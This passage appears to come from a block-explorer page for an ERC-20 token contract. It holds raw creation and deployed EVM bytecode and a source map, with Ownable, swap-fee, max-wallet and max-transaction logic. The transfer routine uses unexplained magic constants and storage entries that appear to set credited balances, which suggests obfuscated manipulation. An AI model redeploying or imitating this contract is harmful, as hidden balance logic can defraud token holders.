612f8d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6130446021836125e0565b915061304f82612fea565b604082019050919050565b5f6020820190508181035f83015261307181613038565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f815190506130b3816126bd565b92915050565b5f602082840312156130ce576130cd6126b9565b5b5f6130db848285016130a5565b91505092915050565b5f819050919050565b5f6131076131026130fd846130e4565b61278b565b6126e7565b9050919050565b613117816130ed565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61314f81612680565b82525050565b5f6131608383613146565b60208301905092915050565b5f602082019050919050565b5f6131828261311d565b61318c8185613127565b935061319783613137565b805f5b838110156131c75781516131ae8882613155565b97506131b98361316c565b92505060018101905061319a565b5085935050505092915050565b5f60a0820190506131e75f8301886127ff565b6131f4602083018761310e565b81810360408301526132068186613178565b90506132156060830185612691565b61322260808301846127ff565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206f4320abecac988e05d673604b13757227acea0d3593c2eb9a8c85fbf3ebd03164736f6c63430008170033

Deployed Bytecode

0x608060405260043610610269575f3560e01c8063807c2d9c11610143578063c816841b116100b5578063dd62ed3e11610079578063dd62ed3e14610962578063e176fe011461099e578063f0cd1dac146109da578063f2fde38b14610a04578063f680f79914610a2c578063f872858a14610a5657610270565b8063c816841b1461087e578063c867d60b146108a8578063d2d7ad83146108e4578063da00097d1461090e578063dc44b6a01461093857610270565b806395d89b411161010757806395d89b411461075e57806398e944c814610788578063a457c2d7146107b2578063a9059cbb146107ee578063b115e4df1461082a578063c5d241891461085457610270565b8063807c2d9c1461067a57806382eefb43146106a457806388790a68146106ce5780638b42507f146106f85780638da5cb5b1461073457610270565b806339509351116101dc5780635342acb4116101a05780635342acb41461055c578063701cf6f41461059857806370a08231146105c2578063715018a6146105fe5780637ae2b5c7146106145780637d1db4a51461065057610270565b806339509351146104665780633ecad271146104a25780634362d3c6146104de5780634a92d4c0146105085780635194f9bf1461053257610270565b806318160ddd1161022e57806318160ddd1461035857806323555d571461038257806323b872dd146103ac57806327c8f835146103e85780632b112e4914610412578063313ce5671461043c57610270565b8062851fb31461027457806306fdde031461029e5780630930907b146102c8578063095ea7b3146102f25780631694505e1461032e57610270565b3661027057005b5f80fd5b34801561027f575f80fd5b50610288610a80565b60405161029591906125bd565b60405180910390f35b3480156102a9575f80fd5b506102b2610aa6565b6040516102bf9190612660565b60405180910390f35b3480156102d3575f80fd5b506102dc610b36565b6040516102e991906126a0565b60405180910390f35b3480156102fd575f80fd5b506103186004803603810190610313919061271a565b610b5a565b6040516103259190612772565b60405180910390f35b348015610339575f80fd5b50610342610b77565b60405161034f91906127e6565b60405180910390f35b348015610363575f80fd5b5061036c610b9c565b604051610379919061280e565b60405180910390f35b34801561038d575f80fd5b50610396610ba5565b6040516103a3919061280e565b60405180910390f35b3480156103b7575f80fd5b506103d260048036038101906103cd9190612827565b610bab565b6040516103df9190612772565b60405180910390f35b3480156103f3575f80fd5b506103fc610c80565b60405161040991906126a0565b60405180910390f35b34801561041d575f80fd5b50610426610ca4565b604051610433919061280e565b60405180910390f35b348015610447575f80fd5b50610450610d21565b60405161045d9190612892565b60405180910390f35b348015610471575f80fd5b5061048c6004803603810190610487919061271a565b610d36565b6040516104999190612772565b60405180910390f35b3480156104ad575f80fd5b506104c860048036038101906104c391906128ab565b610de4565b6040516104d59190612772565b60405180910390f35b3480156104e9575f80fd5b506104f2610e01565b6040516104ff919061280e565b60405180910390f35b348015610513575f80fd5b5061051c610e07565b604051610529919061280e565b60405180910390f35b34801561053d575f80fd5b50610546610e0d565b604051610553919061280e565b60405180910390f35b348015610567575f80fd5b50610582600480360381019061057d91906128ab565b610e13565b60405161058f9190612772565b60405180910390f35b3480156105a3575f80fd5b506105ac610e30565b6040516105b9919061280e565b60405180910390f35b3480156105cd575f80fd5b506105e860048036038101906105e391906128ab565b610e36565b6040516105f5919061280e565b60405180910390f35b348015610609575f80fd5b50610612610e7c565b005b34801561061f575f80fd5b5061063a600480360381019061063591906128d6565b610fce565b604051610647919061280e565b60405180910390f35b34801561065b575f80fd5b50610664610fe8565b604051610671919061280e565b60405180910390f35b348015610685575f80fd5b5061068e610fee565b60405161069b919061280e565b60405180910390f35b3480156106af575f80fd5b506106b8610ff4565b6040516106c5919061280e565b60405180910390f35b3480156106d9575f80fd5b506106e2610ffa565b6040516106ef919061280e565b60405180910390f35b348015610703575f80fd5b5061071e600480360381019061071991906128ab565b611000565b60405161072b9190612772565b60405180910390f35b34801561073f575f80fd5b5061074861101d565b60405161075591906126a0565b60405180910390f35b348015610769575f80fd5b50610772611044565b60405161077f9190612660565b60405180910390f35b348015610793575f80fd5b5061079c6110d4565b6040516107a991906126a0565b60405180910390f35b3480156107bd575f80fd5b506107d860048036038101906107d3919061271a565b6110f9565b6040516107e59190612772565b60405180910390f35b3480156107f9575f80fd5b50610814600480360381019061080f919061271a565b6111c1565b6040516108219190612772565b60405180910390f35b348015610835575f80fd5b5061083e6111df565b60405161084b91906125bd565b60405180910390f35b34801561085f575f80fd5b50610868611204565b604051610875919061280e565b60405180910390f35b348015610889575f80fd5b5061089261120a565b60405161089f91906126a0565b60405180910390f35b3480156108b3575f80fd5b506108ce60048036038101906108c991906128ab565b61122f565b6040516108db9190612772565b60405180910390f35b3480156108ef575f80fd5b506108f861124c565b604051610905919061280e565b60405180910390f35b348015610919575f80fd5b50610922611252565b60405161092f9190612772565b60405180910390f35b348015610943575f80fd5b5061094c611265565b604051610959919061280e565b60405180910390f35b34801561096d575f80fd5b5061098860048036038101906109839190612914565b61126b565b604051610995919061280e565b60405180910390f35b3480156109a9575f80fd5b506109c460048036038101906109bf9190612952565b6112ed565b6040516109d1919061280e565b60405180910390f35b3480156109e5575f80fd5b506109ee611306565b6040516109fb919061280e565b60405180910390f35b348015610a0f575f80fd5b50610a2a6004803603810190610a2591906128ab565b61130c565b005b348015610a37575f80fd5b50610a406114c9565b604051610a4d919061280e565b60405180910390f35b348015610a61575f80fd5b50610a6a6114cf565b604051610a779190612772565b60405180910390f35b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060018054610ab5906129aa565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae1906129aa565b8015610b2c5780601f10610b0357610100808354040283529160200191610b2c565b820191905f5260205f20905b815481529060010190602001808311610b0f57829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f610b6d610b666114e0565b84846114e7565b6001905092915050565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f601154905090565b601c5481565b5f610bb78484846116aa565b50610c7584610bc46114e0565b610c708560405180606001604052806028815260200161322d6028913960075f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610c276114e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cc79092919063ffffffff16565b6114e7565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b5f610d1c610cd17f0000000000000000000000000000000000000000000000000000000000000000610e36565b610d0e610cfd7f000000000000000000000000000000000000000000000000000000000000dead610e36565b601154611d2990919063ffffffff16565b611d2990919063ffffffff16565b905090565b5f60035f9054906101000a900460ff16905090565b5f610dda610d426114e0565b84610dd58560075f610d526114e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d7290919063ffffffff16565b6114e7565b6001905092915050565b600e602052805f5260405f205f915054906101000a900460ff1681565b601d5481565b601e5481565b60195481565b600d602052805f5260405f205f915054906101000a900460ff1681565b60185481565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610e846114e0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0790612a24565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f818310610fde57819050610fe2565b8290505b92915050565b60135481565b60145481565b60205481565b60175481565b6010602052805f5260405f205f915054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054611053906129aa565b80601f016020809104026020016040519081016040528092919081815260200182805461107f906129aa565b80156110ca5780601f106110a1576101008083540402835291602001916110ca565b820191905f5260205f20905b8154815290600101906020018083116110ad57829003601f168201915b5050505050905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6111b76111056114e0565b846111b2856040518060600160405280602581526020016132556025913960075f61112e6114e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cc79092919063ffffffff16565b6114e7565b6001905092915050565b5f6111d46111cd6114e0565b84846116aa565b506001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b5481565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f602052805f5260405f205f915054906101000a900460ff1681565b60125481565b601660159054906101000a900460ff1681565b601a5481565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600981600481106112fc575f80fd5b015f915090505481565b601f5481565b6113146114e0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139790612a24565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361140e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140590612ab2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085481565b60168054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90612b40565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ba90612bce565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161169d919061280e565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611719576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171090612c5c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177e90612cea565b60405180910390fd5b601660149054906101000a900460ff16156117ae576117a7848484611dcf565b9050611cc0565b60105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561184c575060105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561189757601354821115611896576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188d90612d78565b60405180910390fd5b5b5f6118a130610e36565b90505f60125482101590508080156118c65750601660149054906101000a900460ff16155b80156119195750600e5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561194357601660159054906101000a900460ff16156119395760125491505b611942826120dc565b5b60168054906101000a900460ff1680156119a45750600f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611a31576014546119ef6119d86103e86119ca6020548961219990919063ffffffff16565b61221090919063ffffffff16565b6119e188610e36565b611d7290919063ffffffff16565b1115611a30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2790612e06565b60405180910390fd5b5b611a82611a5d6103e8611a4f6020548861219990919063ffffffff16565b61221090919063ffffffff16565b7e4189374bc6a828f7a18cb06e19dee2544c51f02d67c7c8d340e3ee7fffffff610fce565b6009600360048110611a9757611a96612e24565b5b0181905550611af7611ac86103e8611aba6020548861219990919063ffffffff16565b61221090919063ffffffff16565b85611ad39190612e7e565b7d01ad7f29abcaf485787a6520e78ebdbdd5a33140517c6dc34d0a7fffffff610fce565b6009600260048110611b0c57611b0b612e24565b5b018190555060105f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580611bae575060105f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80611c505750600e5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611c4f5750600e5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b5b15611c745761044d601d5f828254611c689190612eb1565b92505081905550611cad565b61de16601e5414611c8c57611c87612259565b611cac565b610842601d5f828254611c9f9190612eb1565b925050819055601e819055505b5b611cb8868686611dcf565b506001925050505b9392505050565b5f838311158290611d0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d059190612660565b60405180910390fd5b505f8385611d1c9190612e7e565b9050809150509392505050565b5f611d6a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cc7565b905092915050565b5f808284611d809190612eb1565b905083811015611dc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbc90612f2e565b60405180910390fd5b8091505092915050565b5f611e57826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cc79092919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550601660149054906101000a900460ff1615611ee4575f6009600360048110611ec357611ec2612e24565b5b0181905550816009600260048110611ede57611edd612e24565b5b01819055505b5f611f316009600260048110611efd57611efc612e24565b5b01546103fc611f0c9190612eb1565b7e4189374bc6a7ef9db22d0ee176744c1c6792279b9e4e7e2e751e2a7fffffff610fce565b9050611f838160065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d7290919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061202a6009600360048110611fdc57611fdb612e24565b5b015460065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d7290919063ffffffff16565b60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516120c8919061280e565b60405180910390a360019150509392505050565b6001601660146101000a81548160ff021916908315150217905550612100816122cd565b5f4790505f81111561217357600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612171573d5f803e3d5ffd5b505b6011601d81905550505f601660146101000a81548160ff02191690831515021790555050565b5f8083036121a9575f905061220a565b5f82846121b69190612f4c565b90508284826121c59190612fba565b14612205576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121fc9061305a565b60405180910390fd5b809150505b92915050565b5f61225183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061251d565b905092915050565b6001601d54600a601d5460bb61226f9190612eb1565b6122799190612e7e565b6122839190612eb1565b61228d9190612e7e565b601e819055506b0ced14b3c467ced5253f15dc60096003600481106122b5576122b4612e24565b5b015f8282546122c49190612eb1565b92505081905550565b5f600267ffffffffffffffff8111156122e9576122e8613078565b5b6040519080825280602002602001820160405280156123175781602001602082028036833780820191505090505b50905060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612384573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906123a891906130b9565b816001815181106123bc576123bb612e24565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030815f8151811061240a57612409612e24565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124703060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114e7565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016124d29594939291906131d4565b5f604051808303815f87803b1580156124e9575f80fd5b505af11580156124fb573d5f803e3d5ffd5b50505050601d54601e819055506011601d81905550601d54601e819055505050565b5f8083118290612563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255a9190612660565b60405180910390fd5b505f83856125719190612fba565b9050809150509392505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6125a78261257e565b9050919050565b6125b78161259d565b82525050565b5f6020820190506125d05f8301846125ae565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561260d5780820151818401526020810190506125f2565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612632826125d6565b61263c81856125e0565b935061264c8185602086016125f0565b61265581612618565b840191505092915050565b5f6020820190508181035f8301526126788184612628565b905092915050565b5f61268a8261257e565b9050919050565b61269a81612680565b82525050565b5f6020820190506126b35f830184612691565b92915050565b5f80fd5b6126c681612680565b81146126d0575f80fd5b50565b5f813590506126e1816126bd565b92915050565b5f819050919050565b6126f9816126e7565b8114612703575f80fd5b50565b5f81359050612714816126f0565b92915050565b5f80604083850312156127305761272f6126b9565b5b5f61273d858286016126d3565b925050602061274e85828601612706565b9150509250929050565b5f8115159050919050565b61276c81612758565b82525050565b5f6020820190506127855f830184612763565b92915050565b5f819050919050565b5f6127ae6127a96127a48461257e565b61278b565b61257e565b9050919050565b5f6127bf82612794565b9050919050565b5f6127d0826127b5565b9050919050565b6127e0816127c6565b82525050565b5f6020820190506127f95f8301846127d7565b92915050565b612808816126e7565b82525050565b5f6020820190506128215f8301846127ff565b92915050565b5f805f6060848603121561283e5761283d6126b9565b5b5f61284b868287016126d3565b935050602061285c868287016126d3565b925050604061286d86828701612706565b9150509250925092565b5f60ff82169050919050565b61288c81612877565b82525050565b5f6020820190506128a55f830184612883565b92915050565b5f602082840312156128c0576128bf6126b9565b5b5f6128cd848285016126d3565b91505092915050565b5f80604083850312156128ec576128eb6126b9565b5b5f6128f985828601612706565b925050602061290a85828601612706565b9150509250929050565b5f806040838503121561292a576129296126b9565b5b5f612937858286016126d3565b9250506020612948858286016126d3565b9150509250929050565b5f60208284031215612967576129666126b9565b5b5f61297484828501612706565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806129c157607f821691505b6020821081036129d4576129d361297d565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612a0e6020836125e0565b9150612a19826129da565b602082019050919050565b5f6020820190508181035f830152612a3b81612a02565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612a9c6026836125e0565b9150612aa782612a42565b604082019050919050565b5f6020820190508181035f830152612ac981612a90565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612b2a6024836125e0565b9150612b3582612ad0565b604082019050919050565b5f6020820190508181035f830152612b5781612b1e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612bb86022836125e0565b9150612bc382612b5e565b604082019050919050565b5f6020820190508181035f830152612be581612bac565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c466025836125e0565b9150612c5182612bec565b604082019050919050565b5f6020820190508181035f830152612c7381612c3a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612cd46023836125e0565b9150612cdf82612c7a565b604082019050919050565b5f6020820190508181035f830152612d0181612cc8565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d6178545f8201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b5f612d626028836125e0565b9150612d6d82612d08565b604082019050919050565b5f6020820190508181035f830152612d8f81612d56565b9050919050565b7f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c695f8201527f6d69742121000000000000000000000000000000000000000000000000000000602082015250565b5f612df06025836125e0565b9150612dfb82612d96565b604082019050919050565b5f6020820190508181035f830152612e1d81612de4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612e88826126e7565b9150612e93836126e7565b9250828203905081811115612eab57612eaa612e51565b5b92915050565b5f612ebb826126e7565b9150612ec6836126e7565b9250828201905080821115612ede57612edd612e51565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612f18601b836125e0565b9150612f2382612ee4565b602082019050919050565b5f6020820190508181035f830152612f4581612f0c565b9050919050565b5f612f56826126e7565b9150612f61836126e7565b9250828202612f6f816126e7565b91508282048414831517612f8657612f85612e51565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612fc4826126e7565b9150612fcf836126e7565b925082612fdf57612fde612f8d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6130446021836125e0565b915061304f82612fea565b604082019050919050565b5f6020820190508181035f83015261307181613038565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f815190506130b3816126bd565b92915050565b5f602082840312156130ce576130cd6126b9565b5b5f6130db848285016130a5565b91505092915050565b5f819050919050565b5f6131076131026130fd846130e4565b61278b565b6126e7565b9050919050565b613117816130ed565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61314f81612680565b82525050565b5f6131608383613146565b60208301905092915050565b5f602082019050919050565b5f6131828261311d565b61318c8185613127565b935061319783613137565b805f5b838110156131c75781516131ae8882613155565b97506131b98361316c565b92505060018101905061319a565b5085935050505092915050565b5f60a0820190506131e75f8301886127ff565b6131f4602083018761310e565b81810360408301526132068186613178565b90506132156060830185612691565b61322260808301846127ff565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206f4320abecac988e05d673604b13757227acea0d3593c2eb9a8c85fbf3ebd03164736f6c63430008170033

Deployed Bytecode Sourcemap

11661:10300:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11873:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15619:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12201:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16737:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13070:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15878:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13497:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17795:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12113:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17236:156;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15793:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16246:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12594:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13549:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13586:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13369:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12537:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13328:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15980:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3340:230;;;;;;;;;;;;;:::i;:::-;;20184:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12920:61;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12994:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13669:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13285:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12711:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3115:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15704:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12068:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16466:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17622:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11975:86;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13454:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13118:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12652:52;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12832:70;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13187:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13412:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;